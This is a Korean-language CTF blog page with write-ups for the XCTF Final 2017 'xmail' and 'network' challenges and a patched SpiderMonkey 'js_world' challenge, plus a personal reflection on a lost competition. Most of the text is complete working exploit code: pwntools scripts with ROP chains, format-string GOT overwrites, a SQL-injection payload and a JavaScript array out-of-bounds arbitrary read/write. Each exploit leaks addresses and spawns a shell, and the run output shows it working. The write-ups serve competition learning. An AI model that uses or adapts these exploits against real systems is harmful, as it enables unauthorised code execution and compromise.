pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

XCTF FINAL 2017 - xmail

CTF 2018.10.06 04:15

Abstract


XCTF 2017 Final - 2일 차에 출제된 문제.


대회 이름 혹은 문제 이름을 떠올리기만 해도 미안함과 죄책감에 사로잡히는 대회들이 있다.

당시에 내가 풀지 못했던 문제들 인해 행복한 추억이 될 수 있던 순간들이 괴로운 기억으로 남았다.


그 중 XCTF를 생각하면 가슴이 턱 막힌다. 자신에게 기대, 다짐, 의미가 큰 대회였지만, 그에 비해 내 능력은 준비되어 있지 않았다. 결국, 내 역할을 제대로 수행하지 못하여 대회를 망쳤다.


최근 XCTF 2016에서 출제됐던 문제들을 모두 풀고, 좀 울컥했다. 대회때는 날 패치하지 못한 취약점들 패치한다고 문제를 제대로 보지 못했지만, 그게 핑계가 되어주지 못 할 정도로 취약점들이 간단했기 때문이다. 자신감이 바닥이라 내가 풀 수 있다는 확신도 없던걸까? 이제와서 1시간도 안되어 쉘을 따자마자 멘탈이 나가 노트북을 덮었다. 너무 허무하다. 당시에 내가 network든 xmail이든 풀기만 했더라도 순위가 크게 밀려나는 일은 없었을텐데, 뭐가 그렇게 자신없어 flag 털리고 패치나 하고 앉았을까.


시간을 되돌려 그 순간으로 너무나 돌아가고 싶다. 앞으로 그 사람들과 다시 한번 같은 상황, 여건, 분위기에서 대회를 나갈 수 있는 기회는 더 이상 없을 것이다. XCTF를 비롯해 4년간 나와 함께 했던 팀원들에게 너무나 미안하다.


함께 발전을 이룰 수 있는 중요한 시간을 나만 아무것도 이루지 않고 제자리에 있었다. 

다행히 (자의적으로는 아니지만) 잠깐 동안 컴퓨터와 완벽히 단절된 시간을 보내면서, 이게 제일 재밌다는 것을 이제라도 깨달았다.


내가 느슨해질 때마다 XCTF와 여러 대회들을 기억하고 괴로워하며 빡세게 공부해야겠다.


미안합니다.



Vulnerability(1) Stack based buffer overflow


기능을 보다보면 사용자에게 큰 명령을 입력받을 때, get_input(사용자 정의)이라는 함수를 이용한다.



 




 


입력을 받을 때 buffer의 크기를 고려하지 않고 사용자에게 size를 입력받는다. size가 0x80인 stack buffer에 입력받으므로 simple stack bof.


pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()



Vulnerability(2) SQL Injection -> heap overflow


xmail은 sqlite database에 message를 남기는 기능이 있다. 

message를 확인할 땐, username을 기준으로 확인하게 되는데, username에 별다른 filtering이 없어 sql injection이 가능하다.


username: ' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- 


// sqlite 에 repeat 함수가 없어서 저걸로 대신함.


username이 위와 같을때 size 0x1010인 heap chunk에 0x1020byte가 복사되어 heap overflow가 발생한다.

(exploit과정은 조금 삽질을 해야할 것이다.)


 



pay = ''
pay += 'USER '
pay += """' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- \x0c"""
pay += '\x0b'
pay = chr(len(pay)) + pay

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


[pid 17507] [0x40249a] sprintf("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '",

"SELECT idx, message FROM xmessage WHERE username = '%s'",

"' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- ") = 116
[pid 17507] [0x4021d7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "shell") = nil
[pid 17507] [0x4021f7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "system") = nil
[pid 17507] [0x4024db] sqlite3_prepare_v2(0x1ced078, 0x7ffd0237c990, 0xffffffff, 0x7ffd0237cde0) = 0
[pid 17507] [0x4025dd] sqlite3_step(0x1d11898, 0, 0x1ced018, 1) = 100
[pid 17507] [0x40253e] sqlite3_column_int(0x1d11898, 0, 0x1ced018, 0) = 1
[pid 17507] [0x402559] sqlite3_column_blob(0x1d11898, 1, 0x1ced018, 1) = 0x1f0b998
[pid 17507] [0x402575] sqlite3_column_bytes(0x1d11898, 1, 0x1ced018, 1) = 0x99037
[pid 17507] [0x402582] malloc(4112) = 0x1fa5d30
[pid 17507] [0x4025a3] memcpy(0x1fa5d40, "X'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 626743 <no return ...>
[pid 17507] [0x7ff3a1511156] --- SIGSEGV (Segmentation fault) ---
[pid 17507] [0xffffffffffffffff] +++ killed by SIGSEGV +++


Vulnerability(3) Format string bug[1]


Format string bug가 다수 존재한다. 심지어 stack에 데이터를 쓸 수 있기 때문에 굳이 double stated fsb를 하지 않아도 된다.


 




Vulnerability(4) Format string bug[2]


마찬가지.


 




Vulnerability(5) Memory leak


heap에 몇 개의 message를 남길 수 있는 기능도 존재한다.

message를 남기고(leave), 확인하고(show), 삭제(delete)할 수 있는 기능이 존재하는데, message를 leave / delete할 때, heap을 초기화 하지 않는다.




따라서 chunk를 free했을 때 생기는 fd / bk도 chunk에 그대로 남게되는데, 마침 show 함수가 0x10이라는 고정된 길이만큼 출력해주기 때문에 unsorted bin chunk를 만들어서 main_arena 주소를 알아낼 수 있다.



(1) fastbin 보다 큰 chunk를 만들고

(2) free 시키면 fd, bk가 main_arena+88의 주소를 가지게 된다.

(3) 다시 한번 할당하여 

(4) 출력하면 main_arena 주소를 알아낼 수 있다.  = libc주소 leak

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8



* 모든 취약점에 대한 exploit할 필요가 없을 것 같아 BOF와 FSB exploit을 1개씩 작성했다.



Exploit - FSB

#!/usr/bin/python

from pwn import *

def cmd_send_mode():
ru('Message?\n')
ss('S\x00')

def send_req(data):
size = len(data)
obj = ''
obj += p16(1)
obj += p16(size + 8 + 2)
obj += p32(0)
ss(obj)

obj = ''
obj += chr(size)
obj += data
obj += '\x0b'
ss(obj)


align = lambda block, data: data+'\x00'*(block- (len(data) % block))

s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send


def ru2(msg):
data = ''
while msg not in data:
data += rr(1)
print 'a'
print data
return data

raw_input('>')
cmd_send_mode()

send_req('DATA')
ru('354 end with .\r\n')
send_req('%63$p\x00')
send_req('.\r\n\x00')

libc_base = int(rl().strip(), 16) - 0x20830
print hex(libc_base)

printf_got = 0x604068
libc_system = libc_base + 0x45390

fsb = ''
cnt = 0
idx = 14

for i in range(0, 3):
target = (libc_system >> (i*16)) & 0xffff
if target >= cnt:
fsb += '%{}c%{}$hn'.format(target-cnt, idx)
else:
fsb += '%{}c%{}$hn'.format((target+0x10000 - cnt)&0xffff, idx)
idx += 1
cnt = target
fsb += '##'

pay = ''
pay += align(8, fsb)
pay += p64(printf_got)
pay += p64(printf_got + 2)
pay += p64(printf_got + 4)

send_req('DATA')
ru('354 end with .\r\n')
send_req(pay)
send_req('.\r\n\x00')

send_req('DATA')
#ru('354 end with .\r\n')
send_req('sh\x00')
send_req('.\r\n\x00')

sl('id')
ru('354 end with .\r\n')

s.interactive()
s.close()



Exploit - BOF

#!/usr/bin/python

from pwn import *

def cmd_recv(size_obj, msg):
ru('Message?\n')
ss('R\x00')
ru('+OK POP3 server ready')
ss(size_obj)
ss(msg)


def cmd_leave(idx, msg_len, msg):
ru('Message?\n')
ss('L\x00')
ru('Leave message here....\n')
sl(str(idx))
sl(str(msg_len))
ss(msg)


def cmd_delete(idx):
ru('Message?\n')
ss('D\x00')
ru('Delete message here....\n')
sl(str(idx))


def cmd_show(idx):
ru('Message?\n')
ss('M\x00')
ru('Memory detect here....\n')
sl(str(idx))
return rr(0x10)


s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

raw_input('>')

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x11e70

print hex(libc_base)

pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


$ python ex_bof.py
[+] Starting local process './xmail': pid 518
>
0x7f55fcecd000
[*] Switching to interactive mode

+OK
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

$ python ex_fsb.py
[+] Starting local process './xmail': pid 500
>
0x7f052a988000
[*] Switching to interactive mode
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$

'CTF' 카테고리의 다른 글

SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

XCTF FINAL 2017 - network

CTF 2018.10.06 04:15


Abstract


XCTF 2017 Final에서 2일 차에 공개된 문제. jinmo123이 first blood로 풀어 모든 팀들을 압살하고 1위를 찍은 문제.

취약점은 은근히 간단하지만, 아무리 생각해봐도 당시 jinmo123이 풀었던 속도로는 못 풀었을 것 같다. (개빠름)

그래도 당시에 제대로 봤다면 최소한 늦은 exploit이나 patch라도 가능했을텐데, 너무나 아쉽다.



Main thread


main함수는 아래와 같이 10개의 thread를 생성하고, 사용자의 input을 0번 thread에 전송한다.


 

// 9개의 transfer thread 와 1개의 message thread를 생성.


// 무한루프를 돌며 사용자에게 입력을 받고, 0번 transfer thread에 전송.



(1) Transfer thread


transfer thread는 사용자에게 입력받은 데이터를 다음 thread에 전달하는 역할을 한다.

크게 2가지 기능을 가지고 있다.


1. transfer

- 사용자가 지정한 thread에 input이 도달할 때까지 다음 thread로 input을 전달한다.


2. update

- 사용자가 지정한 thread가 가지고 있는 thread information을 갱신한다.


아래는 transfer thread의 코드이다. 


 


코드를 파트별로 나누어보면 아래와 같다.


1. transfer : 전송 대상이 message thread이면 0x108 byte를 입력받아 다음 transfer thread로 전송한다.

2. transfer : 전송 대상이 자신이 아닌 transfer thread이면 0x1c byte를 입력받아 다음 transfer thread로 전송한다.

3. update : 전송 대상이 자신이면 0x1c byte를 입력받아 thread information table(thread_info)을 갱신한다. 


transfer thread



User input

main

thread 

(input)

transfer

thread 0 

transfer

thread 1 

transfer

thread 2 

transfer

thread 3  

transfer

thread 4  

transfer

thread 5  

transfer

thread 6  

transfer

thread 7  

transfer
thread 8 

Message 

thread




(2) Message thread





message thread는 name과 message를 지역변수에 입력(set)받고, 보여주는 기능(show)을 하는 간단한 쓰레드이다.

이 thread 자체에서 취약점을 찾지는 못했지만, exploit할 때 이용할 수 있었다.


name과 message를 저장하는 지역변수는 아래와 같은 구조체로 정의되어있다.


struct broker_buf{
int name_length;
char name[0x200];
int msg_length;
char msg[0x200];
}


show info 기능은 message 구조체에 저장된 name, msg를 name_length, msg_length만큼 출력(write)해준다.



set info 기능은 사용자에게 name_length, name, msg_length, msg를 입력받고 구조체에 저장한다. 이외에 별다른 특징은 없다.




Out Of Boundary


transfer thread의 3가지 기능 중, thread information table을 갱신하는 기능에서 취약점이 발생한다. 사용자에게 업데이트 할 thread information table의 index를 입력받는데(t_info_buf[0]), signed int형으로 boundary check를 하기 때문에 index가 음수일 때 out of boundary 주소에 memcpy를 시킬 수 있다.


// t_info_buf[0] > 9로 비교함. t_info_buf를 unsigned로 임시형변환을 하거나 0보다 작은지 검사했어야 함.


아래와 같이 message thread stack이 transfer thread stack보다 낮은 주소에 있기 때문에 index를 잘 control하면 message thread의 지역변수를 덮어쓸 수 있다.

gdb-peda$ shell cat /proc/15935/maps
5593c65ee000-5593c65f1000 r-xp 00000000 fc:00 3409115 /home/pwn3r/network
5593c67f0000-5593c67f1000 r--p 00002000 fc:00 3409115 /home/pwn3r/network
5593c67f1000-5593c67f2000 rw-p 00003000 fc:00 3409115 /home/pwn3r/network
5593c741a000-5593c743b000 rw-p 00000000 00:00 0 [heap]
7f192d451000-7f192d452000 ---p 00000000 00:00 0
7f192d452000-7f192dc52000 rw-p 00000000 00:00 0                          message thread stack
7f192dc52000-7f192dc53000 ---p 00000000 00:00 0
7f192dc53000-7f192e453000 rw-p 00000000 00:00 0                          transfer thread 8 stack
7f192e453000-7f192e454000 ---p 00000000 00:00 0
7f192e454000-7f192ec54000 rw-p 00000000 00:00 0                          transfer thread 7 stack
7f192ec54000-7f192ec55000 ---p 00000000 00:00 0
7f192ec55000-7f192f455000 rw-p 00000000 00:00 0                          transfer thread 6 stack
7f192f455000-7f192f456000 ---p 00000000 00:00 0
7f192f456000-7f192fc56000 rw-p 00000000 00:00 0                          transfer thread 5 stack
7f192fc56000-7f192fc57000 ---p 00000000 00:00 0
7f192fc57000-7f1930457000 rw-p 00000000 00:00 0                          transfer thread 4 stack
7f1930457000-7f1930458000 ---p 00000000 00:00 0
7f1930458000-7f1930c58000 rw-p 00000000 00:00 0                          transfer thread 3 stack
7f1930c58000-7f1930c59000 ---p 00000000 00:00 0
7f1930c59000-7f1931459000 rw-p 00000000 00:00 0                          transfer thread 2 stack
7f1931459000-7f193145a000 ---p 00000000 00:00 0
7f193145a000-7f1931c5a000 rw-p 00000000 00:00 0                          transfer thread 1 stack
7f1931c5a000-7f1931c5b000 ---p 00000000 00:00 0
7f1931c5b000-7f193245b000 rw-p 00000000 00:00 0                          transfer thread 0 stack
7f193245b000-7f193261b000 r-xp 00000000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193261b000-7f193281b000 ---p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281b000-7f193281f000 r--p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281f000-7f1932821000 rw-p 001c4000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f1932821000-7f1932825000 rw-p 00000000 00:00 0
7f1932825000-7f193283d000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f193283d000-7f1932a3c000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3c000-7f1932a3d000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3d000-7f1932a3e000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3e000-7f1932a42000 rw-p 00000000 00:00 0
7f1932a42000-7f1932a68000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c50000-7f1932c54000 rw-p 00000000 00:00 0
7f1932c67000-7f1932c68000 r--p 00025000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c68000-7f1932c69000 rw-p 00026000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c69000-7f1932c6a000 rw-p 00000000 00:00 0
7ffd806a1000-7ffd806c2000 rw-p 00000000 00:00 0 [stack]
7ffd8077c000-7ffd8077f000 r--p 00000000 00:00 0 [vvar]
7ffd8077f000-7ffd80781000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]


Memory leak


OOB write를 이용하여 message thread에 있는 message 구조체의 msg_length를 0x300정도로 변경하고 show info 기능을 부르면 stack에 있는 SSP와 libc주소를 알아낼 수 있다.




아래와 같이 message thread stack에 있는 message->msg_length의 index를 계산하여 0x2b8로 덮어쓴다.

그 뒤 show info 기능을 부르면 message->msg 를 출력할 때 memory leak 발생!

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&message->msg_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid (new msg_length!)
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)



Stack overflow


set info 기능을 불러 아래와 같이 입력한다.


name length : 4

name : NAME

msg length : 0x100


이제 "msg:" 를 출력하고 입력이 read_data함수를 불러 data transfer를 대기하는 상태가 된다. 이 때 OOB write로 length 지역변수를 0x200 이상으로 바꾸어버리면 stack based buffer overflow를 trigger할 수 있다.




아래와 같이 name length / name / msg length 를 입력하여 msg 입력을 대기하는 상태로 만들어놓고, OOB write로 입력받을 길이인 length를 0x200보다 큰 값으로 덮어쓴다. 그 다음 msg 입력에서 overflow가 발생할 때 SSP 복구, return addres = one gadget.



pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff)

# index (&length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



Exploit

#!/usr/bin/python

from pwn import *

def t_send(idx, broad, data):
sl('8')
ss(p32(idx)+p32(broad))
assert len(data) == 0x1c or len(data) == 0x108
sl(str(len(data)))
ss(data)


s = process('./network')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send


raw_input('>>>')

rl()
rl()
rl()

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&name_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)

libc_one_gadget = libc_base + 0xf02a4
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x0011e70

pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff) # name_size
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



############# menu3 quit -> rip control ############################
pay = ''
pay += p32(0x100)
pay += p32(0x0)
pay += p32(0x3)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################

s.interactive()
s.close()

$ python ex.py
[+] Starting local process './network': pid 5975
>>>
0x862574030b0f8200
0x7efd55335000
[*] Switching to interactive mode
\x04
bye~!
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

blackperl security blog에서 포스트 읽다가 기억난 김에 풀어본 문제.

글 읽고 익스를 새로 짜봤다.


https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/



Files


-rwxr-xr-x 1 pwn3r pwn3r 5857384 Feb 12  2017 js
-rwxr-xr-x 1 pwn3r pwn3r 95155 Feb 12 2017 jsarray.cpp
-rw-r--r-- 1 pwn3r pwn3r 95297 Feb 12 2017 jsarray_original.cpp


Mozilla의 SpiderMonkey Javascript engine을 취약하게 패치한 문제.

3개의 파일이 주어졌다. (1) 인터프리터 (2) 패치 된 jsarray.cpp (3) 패치 전 jsarray_original.cpp

인터프리터를 실행하면 아래와 같이 원하는 javascript 구문을 실행할 수 있다.

$ ./js
js> print('hello')
hello

$ ./js hello.js
hello



Diffing (jsarray.cpp  vs  jsarray_original.cpp)




jsarray.cpp에서 pop attribute를 약간 수정했다. 기존(우측)에 index == 0일때 아무런 작업도 이루어지지 않도록 check가 있지만, 패치 된 소스에서는 index == 0일 때도 pop이 이루어진다. 따라서 length가 0일때 pop을 하면, length = -1(0xffffffff)이 될 수 있다. 이는 oob(out of boundary) read/write로 이어진다.


$ ./js
js>
a = new Array(1);
[,]
js>
a.pop();
js>
a.pop();
js>
a.length;
4294967295 // 0xffffffff



OOB RW -> Arbitrary RW


length가 0xffffffff 이기 때문에 기존 arr array 뒤에 있는 데이터를 읽거나 쓸 수 있다.
memory leak을 위해 뒤에 있는 임의의 객체(arr[0x301])를 읽어본다.

$ ./js
js> var arr = new Array(1);

js> arr.length; 1
js> arr[0x301];

js> // no...

js> arr.pop();
js> arr.pop();
js> arr.length 4294967295
js> arr[0x301] 6.9411824707387e-310

// yes!!


length가 4294967295가 되었으므로 arr[0x301]에 있는 데이터를 leak 할 수 있지만, array에서는 number 표현범위를 넘어가는 값은 Float scientific notation으로 표시한다.(6.9411824707387e-310)  
데이터를 가공할 때 편의를 위해 Float scientific notation <-> number를 변환해주는 함수를 정의한다. 

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
js> hex(mem_to_value(arr[0x301]))
"0x7fc6a1f264e0"


OOB RW -> Arbitrary RW

이제 내가 원하는 형태로 메모리 값을 읽어와 가공할 수 있다. 다음으로 할 일은 Arbitrary r/w가 가능하게 하는 것이다.
oob를 발생시킬 arr을 선언한 직후, arr2 = Uint32Arrary(0x900)를 선언하여 arr | .... | arr2 형태로 힙을 구성한다.
arr에서 oob write로 arr2의 포인터를 조작하고, arr2[0], arr2[1]에서 데이터를 read or write 함으로써 Arbitrary read/write를 달성한다. 코드를 작성하면 아래와 같다.

arr = new Array(1);

arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

.............................

.............................


function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


arr을 기준으로 arr2 객체의 index를 찾기 위해 arr2의 length인 0x900을 검색했다.

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


이제 Arbitrary read/write가 가능하므로 어떤 부분을 overwrite 하여 exploit 할지 결정하면 된다.

공부를 위해 2가지 방법으로 풀이해봤다. 


(1) stack 주소를 leak해서 return address를 overwrite

(2) 반복된 코드를 이용해 JIT 영역을 생성 후, JIT 영역에 shellcode overwrite




(1) Way 1 - overwrite return address


사실 이 방법으로 풀이하는 것은 굉장히 간단하다.


 1. javascript heap에서 vtable 포인터를 찾아 pie_base를 구한다.

2. pie_base로 계산한 got에서 libc주소를 구한다.

3. libc_argv에서 stack주소를 구한다.

4. main's return address에 one gadget 주소를 overwrite 한다.


위 순서로 stack 주소를 알아내고 return address를 덮어썼다.


var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

.........................
.........................


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);


Full exploit  

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;

function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);




(2) Way 2 - overwrite JIT area


